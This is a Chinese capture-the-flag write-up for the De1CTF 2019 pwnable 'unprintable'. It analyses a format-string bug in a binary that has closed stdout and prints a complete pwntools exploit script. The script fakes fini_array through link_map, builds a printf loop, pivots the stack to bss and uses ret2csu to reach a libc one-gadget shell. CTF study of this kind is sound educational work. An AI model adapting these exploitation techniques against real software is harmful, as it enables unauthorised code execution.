Challenge
-
题目:unprintable
-
类型:pwnable
-
来源:De1CTF 2019
-
环境:Ubuntu 16.04
-
难度:Medium
Analysis
照旧先看一下保护,开启的保护倒是很少。
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
载入IDA,只有一个main函数,给了栈地址,输入在bss段,并且第14行存在溢出格式化字符串漏洞。同时,关闭了stdout,这意味着我们不再能leak。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char stack; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to Ch4r1l3's printf test");
printf("This is your gift: %pn", &stack);
close(1);
read(0, buf, 0x1000uLL);
printf(buf);
exit(0);
}
输入在bss段,常规的fsb利用技巧似乎不太行。在glibc-2.23/elf/dl-fini.c#L227这里就有一个小技巧,当程序结束时会执行_dl_fini这个函数。如下代码会检查fini_array是否存在函数并执行。此处的l为ld.so的struct link_map。
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL) // #define DT_FINI_ARRAY 26
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val // #define DT_FINI_ARRAYSZ 28
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
通过调试可以知道,在0x600dd8保存的正是fini_array_entry,并且array size为1。那么我们如果在上图中可以改掉l->l_addr,就可以控制array的值,在接下来调用函数时劫持指针。
gdb-peda$ p l->l_info[26]->d_un.d_ptr
$4 = 0x600dd8
gdb-peda$ p l->l_info[28]->d_un.d_val / 8
$5 = 0x1
gdb-peda$ x/xg 0x600dd8
0x600dd8: 0x00000000004006e0
而幸运的是,在栈上是存在这个指针的(在0x7fffffffe4f0)。我们可以利用fsb修改这个指针指向的内容。d_ptr的值为0x600dd8,我们控制l->l_addr为0x2d8就可以让array等于0x6010b0,而这个地址在bss段是我们可控的了。
p l
8 = (struct link_map *) 0x7ffff7ffe168
telescope 0x7fffffffe448 80
...
0160| 0x7fffffffe4e8 --> 0x7fffffffe558 --> 0x7fffffffe788 ("LC_TERMINAL_VERSION=3.3.7")
0168| 0x7fffffffe4f0 --> 0x7ffff7ffe168 --> 0x0
0176| 0x7fffffffe4f8 --> 0x7ffff7de77cb (<_dl_init+139>: jmp 0x7ffff7de77a0 <_dl_init+96>)
0184| 0x7fffffffe500 --> 0x0
接着,就是跳到哪里的问题,我们可以选择跳到read前面,继续执行fsb,但这一次之后程序又结束了,这里注意到栈里存在一个printf的返回地址的指针(0x7fffffffe3c0),只要把这个指针改掉,就可以构造出print loop。
gdb-peda$ telescope 0x7fffffffe330 80
0000| 0x7fffffffe330 --> 0x4007c6 (<main+160>: mov edi,0x0)
...
0144| 0x7fffffffe3c0 --> 0x7fffffffe330 --> 0x4007c6 (<main+160>: mov edi,0x0)
没有条件时就要创造条件,这里我们需要找到一个二级指针,先创造出想要的栈指针,进而往想要的栈指针里写任意值。这里我们把0x7fffffffe370的值改为0x7fffffffe338后,就能往0x7fffffffe338里写入任意值。
[------------------------------------stack-------------------------------------]
0064| 0x7fffffffe370 --> 0x7fffffffe340 --> 0x7ffff7ffe168 --> 0x2d8
0104| 0x7fffffffe398 --> 0x7fffffffe370 --> 0x7fffffffe340 --> 0x7ffff7ffe168 --> 0x2d8
接着,我们把0x7fffffffe338改为bss段的地址,把printf的返回地址改为pop rsp的地址,就可以把栈迁移到bss段上rop
=> 0x40082d <__libc_csu_init+93>: pop rsp
0x40082e <__libc_csu_init+94>: pop r13
0x400830 <__libc_csu_init+96>: pop r14
0x400832 <__libc_csu_init+98>: pop r15
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe338 --> 0x601080 --> 0x0
接下来就是rop了,由于不能leak,我们要想办法凑出一个libc地址,在0x4006e8处,可以让rbp指向stderr,edx为offset,就可以加出来一个libc任意地址,接着利用ret2csu就可以getshell了。
.text:00000000004006E8 adc [rbp+48h], edx
.text:00000000004006EB mov ebp, esp
.text:00000000004006ED call deregister_tm_clones
.text:00000000004006F2 pop rbp
.text:00000000004006F3 mov cs:completed_7594, 1
.text:00000000004006FA rep retn
Solution
完整利用脚本如下。
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
libc = ELF('./libc-2.23.so')
r = process('./unprintable')
# leak stack
r.recvuntil("gift: ")
stack=int(r.recvline().strip(),16)
log.info('stack:' + hex(stack))
# fake fini_array
p = "%{}c%26$n".format(0x6010b0-0x600dd8)
p = p.ljust(0x50,'x00')+p64(0x4007a3)
r.sendline(p)
sleep(0.5)
def write_byte(off, val):
if off == 0:
p = '%18$hhn'
else:
p = '%{}c%18$hhn'.format(off)
p += '%{}c%23$hhnx00'.format((0xa3 - off)&0xff)
r.sendline(p)
sleep(0.5)
if val == 0:
p = '%13$n'
else:
p = '%{}c%13$hhn'.format(val)
p += '%{}c%23$hhnx00'.format((0xa3 - val)&0xff)
r.sendline(p)
sleep(0.5)
off = (stack - 280)&0xff
# write 0x601080
write_byte(off, 0x80)
write_byte(off+1, 0x10)
write_byte(off+2, 0x60)
write_byte(off+3, 0x00)
write_byte(off+4, 0x00)
write_byte(off+5, 0x00)
write_byte(off+6, 0x00)
# one gadget
off = 0xf1147 - libc.sym['_IO_2_1_stderr_']
p = '%%%dc%%23$hn'% 0x82d # pop rsp
p = p.ljust(0x90-0x60, 'x00')
p += p64(0x4006e8) # ret
p += p64(0x40082a) # ppppppr
p += p64(0) # rbx
p += p64(0x601040 - 0x48) # rbp
p += p64(0x601090) # r12
p += p64(off & 0xffffffff) # r13
p += p64(0) # r14
p += p64(0) # r15
p += p64(0x400810) # ret
p += p64(0x40082a) # ppppppr
p += p64(0) # rbx
p += p64(0) # rbp
p += p64(0x601040) # r12
p += p64(0) # r13
p += p64(0) # r14
p += p64(0) # r15
p += p64(0x400810) # ret
p += p64(0xdeadbeaf)
r.sendline(p)
r.interactive()
原文始发于微信公众号(pwnable):unprintable
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论